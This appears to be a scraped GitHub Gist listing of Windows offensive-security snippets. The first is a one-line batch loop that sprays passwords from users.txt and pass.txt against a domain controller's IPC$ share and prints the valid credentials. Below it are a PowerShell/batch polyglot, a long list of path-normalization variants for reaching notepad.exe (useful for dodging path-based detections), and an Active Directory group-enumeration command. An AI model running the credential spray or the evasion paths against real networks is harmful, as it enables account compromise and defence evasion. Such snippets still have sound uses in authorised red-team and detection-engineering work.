Skip to content

Instantly share code, notes, and snippets.

@FOR /F %n in (users.txt) DO @FOR /F %p in (pass.txt) DO @net use \\DC-NAME\IPC$ /user:DOMAIN\%n %p 1>NUL 2>&1 && @echo [*] %n:%p && @net use /delete \\DC-NAME\IPC$ > NUL
# & copy con nul
function write-stuff { 
 write-host "stuff"
}
 
write-stuff
#
REM Path Normalization (spaces and single trailing periods are removed, forward slashes changed to backslashes)
c:\Windows.\System32.\notepad.exe
"c:\Windows\System32 \notepad.exe"
c:/Windows/System32\notepad.exe
//.\c:\Windows/System32/notepad.exe
"c:\Windows.\System32. . ./notepad.exe"
REM Relative to root of the current drive (begins with a single component separator \ )
\Windows\System32\notepad.exe
REM Relative to current directory of the specified drive (begins with a drive letter, a volume separator, and no component separator)
c:Windows\System32\notepad.exe REM cwd must be c:\
c:..\..\..\..\Windows\System32\notepad.exe REM cwd must be less that 4 directories deep
REM Relative to current directory (begins with anything else)
non-existant-dir?-no-problem\..\..\..\..\Windows\System32\notepad.exe
extra-slashes-and-dots-are-fine.........\\\\\\\\.\\\\..\\\\..\\..\..\\Windows\\\System32\notepad.exe
REM DOS Device Paths (begins with \\. or \\?)
\\.\c:\Windows\System32\notepad.exe
\\.\BootPartition\Windows\System32\notepad.exe
\\.\HarddiskVolume4\Windows\System32\notepad.exe
\\.\Volume{b289d78f-d491-4f6b-a437-5c51a88fa48f}\Windows\System32\notepad.exe
\\.\Global\BootPartition\Windows\System32\notepad.exe
start \\.\GLOBALROOT\Device\HarddiskVolume4\Windows\System32\notepad.exe
\\.\UNC\LOCALHOST\c$\Windows\System32\notepad.exe
start \\?\c:\Windows\System32\notepad.exe
REM UNC Paths (begins with two separators w/o a question mark or period following)
\\127.0.0.1\c$\Windows\System32\notepad.exe
\\LOCALHOST\c$\Windows\System32\notepad.exe
\\::1\c$\Windows\System32\notepad.exe
\\0:0:0::1\c$\Windows\System32\notepad.exe
\\127.0.0.1\admin$\System32\notepad.exe
\\DESKTOP-MH8DLT1\admin$\System32\notepad.exe
REM Fully Qualified DOS Paths (begins with a drive letter, a volume separator, and a component separator)
c:\Windows\System32\notepad.exe
REM Environment Variables
%SystemRoot%\System32\notepad.exe
%HomeDrive%Windows\System32\notepad.exe
# comment
dir
# Fully Qualified DOS Paths (begins with a drive letter, a volume separator, and a component separator)
c:\Windows\System32\notepad.exe
# UNC Paths (begins with two separators w/o a question mark or period following)
\\127.0.0.1\c$\Windows\System32\notepad.exe
\\LOCALHOST\c$\Windows\System32\notepad.exe
\\::1\c$\Windows\System32\notepad.exe
\\0:0:0::1\c$\Windows\System32\notepad.exe
\\127.0.0.1\admin$\System32\notepad.exe
\\DESKTOP-MH8DLT1\admin$\System32\notepad.exe
@clr2of8
clr2of8 / groupenumeration.ps1
Created January 8, 2020 14:59 — forked from joswr1ght/groupenumeration.ps1
Create a Collection of Files for Windows Domain Groups with User Members in Each File
Get-AdGroup -Filter * | % { Get-AdGroupMember $_.Name | Select-Object -ExpandProperty SamAccountName | Out-File -FilePath "$($_.Name).txt" -Encoding ASCII }